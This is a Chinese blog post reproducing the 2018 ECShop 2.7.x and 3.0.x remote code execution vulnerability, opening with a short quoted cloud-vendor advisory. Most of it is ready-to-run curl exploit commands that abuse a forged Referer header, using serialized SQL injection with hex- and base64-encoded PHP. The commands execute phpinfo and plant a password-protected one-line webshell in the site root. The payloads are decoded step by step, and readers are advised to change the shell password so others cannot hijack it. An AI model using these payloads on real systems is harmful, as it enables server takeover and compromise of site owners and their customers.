披露
2018年9月1日,阿里云态势感知发布预警,近日利用ECShop全系列版本的远程代码执行漏洞进行批量化攻击量呈上升趋势,该漏洞可直接导致网站服务器沦陷,黑客可通过WEB攻击直接获得服务器权限,利用简单且危害较大。因此,阿里云安全专家提醒ECShop系统用户及时进行修复。
早在1个月前阿里云态势感知就捕获到利用ECShop远程代码执行漏洞进行攻击的真实案例,由于当时该漏洞被利用进行攻击的量不大,阿里云安全团队在做好防御此类漏洞大规模利用攻击的同时,也持续监控该漏洞的利用趋势。
本文对此漏洞的原理,漏洞攻击利用实例以及影响做了全面分析。在官方补丁没放出之前,建议受影响用户可参考文中的修复建议,及时进行修复。使用阿里云WAF的客户无需升级补丁即可防御该漏洞。
分析和预警的文章网上多得是,只copy一段注明exp公布日期和单位。
2.7.x Exp
终端执行:
curl http://xxxxx.com/user.php -d 'action=login&vulnspy=phpinfo();exit;' -H 'Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:"id";s:3:"'"'"'/*";s:3:"num";s:201:"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:4:"name";s:3:"ads";}554fcae493e564ee0dc75bdf2ebf94ca'
回显phpinfo
Getshell
curl http://xxxxxxx.com/user.php -d 'action=login&vulnspy=eval(base64_decode($_POST[d]));exit;&d=ZmlsZV9wdXRfY29udGVudHMoJ3Rlc3QucGhwJywnPD9waHAgZXZhbCgkX1JFUVVFU1RbdGVzdF0pOz8%2BJyk7' -H 'Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:"id";s:3:"'"'"'/*";s:3:"num";s:201:"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:4:"name";s:3:"ads";}554fcae493e564ee0dc75bdf2ebf94ca'
网站根目录下会生成一个test.php 密码为test的webshell
exp详解
curl http://xxxxx.com/user.php -d 'action=login&vulnspy=eval(base64_decode($_POST[d]));exit;&d=ZmlsZV9wdXRfY29udGVudHMoJ3Rlc3QucGhwJywnPD9waHAgZXZhbCgkX1JFUVVFU1RbdGVzdF0pOz8%2BJyk7' -H 'Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:"id";s:3:"'"'"'/*";s:3:"num";s:201:"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:4:"name";s:3:"ads";}554fcae493e564ee0dc75bdf2ebf94ca'
这是base64加密的一个写入操作和菜刀上传时的数据包是一样的
d参数解密后
file_put_contents('test.php','<?php eval($_REQUEST[test]);?>');
写入一个test.php文件 内容为密码是test的一句话木马
其实这种类似菜刀的操作很多防护软件都会拦截的…
vulnspy 这个参数是一句话木马的密码 其一句话内容是这串:
0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d
是HEX编码过的 解开后是这样的:
{${$vulnspy'];eval/**/(base64_decode('ZXZhbCgkX1BPU1RbdnVsbnNweV0pOw=='));//}}
base64解开后:
eval($_POST[vulnspy]);
一目了然了是不是? 需要修改密码的可以自己修改 免得被别人的扫描器给收录了
详情可移步至此:
ecshop_<=_2.7.x_全系列版本远程代码执行高危漏洞利用
3.0.x Exp
其实和上面差不多的
执行phpinfo()
curl http://xxxxxx.com/user.php -d "action=login&vulnspy=phpinfo();exit;" -H 'Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:3:{s:3:"num";s:207:"*/ select 1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:2:"id";s:9:"'"'"' union/*";s:4:"name";s:3:"ads";}45ea207d7a2b68c49582d2d22adf953a'
写WebShell
curl http://xxxxxx.com/user.php -d "action=login&vulnspy=eval/**/(base64_decode(ZmlsZV9wdXRfY29udGVudHMoJ3Rlc3QucGhwJywnPD9waHAgZXZhbCgkX1JFUVVFU1RbdGVzdF0pOycpOw));exit;" \-H 'Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:3:{s:3:"num";s:207:"*/ select 1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:2:"id";s:9:"'"'"' union/*";s:4:"name";s:3:"ads";}45ea207d7a2b68c49582d2d22adf953a'
参数详解参考2.7.x
详情可移步至此:
ecshop_<=_2.x/3.6.x/3.0.x_版本远程代码执行高危漏洞利用
1 thought on “ECShop全版本远程代码执行漏洞复现”
Comments are closed.